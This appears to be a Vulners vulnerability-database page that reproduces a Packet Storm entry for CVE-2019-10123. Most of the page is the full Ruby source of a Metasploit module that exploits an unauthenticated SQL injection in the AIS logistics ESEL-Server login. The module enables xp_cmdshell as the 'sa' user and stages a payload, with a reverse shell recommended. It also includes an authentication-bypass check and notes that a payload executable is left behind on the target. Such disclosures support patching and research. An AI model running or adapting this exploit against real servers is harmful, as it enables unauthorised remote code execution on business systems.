Lucene search
K

AIS Logistics ESEL-Server SQL Injection / Code Execution

🗓️ 29 Apr 2019 00:00:00Reported by Manuel FeifelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

AIS logistics ESEL-Server Unauth SQL Injection RCE. Vulnerable to SQL Injection in login process with MSSQL server 'sa' user, allows arbitrary payload execution. Fixed version released in Sep 2017 rarely updated. Supports Command Stager for payload delivery. Leaves payload executable on targe

Related
Code
ReporterTitlePublishedViews
Family
0day.today
AIS Logistics ESEL-Server SQL Injection / Code Execution Exploit
30 Apr 201900:00
zdt
Circl
CVE-2019-10123
29 Apr 201919:13
circl
CVE
CVE-2019-10123
31 May 201921:42
cve
Cvelist
CVE-2019-10123
31 May 201921:42
cvelist
Exploit DB
AIS logistics ESEL-Server - Unauthenticated SQL Injection Remote Code Execution (Metasploit)
30 Apr 201900:00
exploitdb
Metasploit
AIS logistics ESEL-Server Unauth SQL Injection RCE
27 Mar 201909:23
metasploit
NVD
CVE-2019-10123
31 May 201922:29
nvd
OSV
CVE-2019-10123
31 May 201922:29
osv
Prion
Sql injection
31 May 201922:29
prion
RedhatCVE
CVE-2019-10123
22 May 202507:43
redhatcve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::MSSQL_COMMANDS  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AIS logistics ESEL-Server Unauth SQL Injection RCE',  
'Description' => %q{  
This module will execute an arbitrary payload on an "ESEL" server used by the  
AIS logistic software. The server typically listens on port 5099 without TLS.  
There could also be server listening on 5100 with TLS but the port 5099 is  
usually always open.  
The login process is vulnerable to an SQL Injection. Usually a MSSQL Server  
with the 'sa' user is in place.  
  
This module was verified on version 67 but it should also run on lower versions.  
An fixed version was created by AIS in September 2017. However most systems  
have not been updated.  
  
In regard to the payload, unless there is a closed port in the web server,  
you dont want to use any "bind" payload. You want a "reverse" payload,  
probably to your port 80 or to any other outbound port allowed on the firewall.  
  
Currently, one delivery method is supported  
  
This method takes advantage of the Command Stager subsystem. This allows using  
various techniques, such as using a TFTP server, to send the executable. By default  
the Command Stager uses 'wcsript.exe' to generate the executable on the target.  
  
NOTE: This module will leave a payload executable on the target system when the  
attack is finished.  
  
},  
'Author' =>  
[  
'Manuel Feifel'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-10123'],  
],  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x27",  
},  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'CmdStagerFlavor' => 'vbs',  
'DefaultTarget' => 0,  
'DisclosureDate' => '2019-03-27',  
'DefaultOptions' =>  
{  
'RPORT' => 5099  
},  
))  
end  
  
# This is method required for the CmdStager to work...  
def execute_command(cmd, _opts)  
cmd_xp = "EXEC master..xp_cmdshell '#{cmd}'"  
send_login_msg(create_login_msg_sql(cmd_xp))  
end  
  
# prepends the required length to the message and sends it to the server  
def send_login_msg(login_msg, check_response = true)  
length = login_msg.length  
length += length.to_s.length  
login_msg = "#{length}#{login_msg}"  
  
connect  
  
sock.put(login_msg)  
response = sock.recv(10000)  
  
if check_response  
if (response.include? 'Zugangsdaten Falsch') && (response.length > (length - 20))  
print_good('Correct response received => Data send successfully')  
else  
print_warning('Wrong response received => Probably data could not be sent successfully')  
end  
end  
  
return response  
ensure  
# Every time a new Connection is required  
disconnect  
end  
  
# embeds a sql command into the login message  
def create_login_msg_sql(sql_cmd)  
return create_login_msg("#{rand(1_000..9_999)}'; #{sql_cmd}--")  
end  
  
# create a plain login message  
def create_login_msg(pw)  
delim = "\xFF"  
login_str = "#{delim}000000#{delim}20180810213226#{delim}01#{delim}60"\  
"#{delim}02#{delim}1111#{delim}#{pw}#{delim}AAAAA#{delim}120"  
  
end  
  
def check  
int = rand(1..1_000)  
response_bypass = send_login_msg(create_login_msg("#{rand(1_000..9_999)}' OR #{int}=#{int}--"), false)  
if response_bypass.include? 'Zugangsdaten OK'  
CheckCode::Vulnerable  
else  
print_status("Response was: #{response_bypass}")  
CheckCode::Safe  
end  
end  
  
def exploit  
# enable xp cmdshell, used to execute commands later  
# Software uses the 'sa' user by default  
send_login_msg(create_login_msg_sql(mssql_xpcmdshell_enable))  
# The porotocol has no limites on max-data  
execute_cmdstager({ :linemax => 1500 })  
print_warning('The payload is left on the client in the \%TEMP\% Folder of the corresponding user.')  
print_status('Stager should now be executed.')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation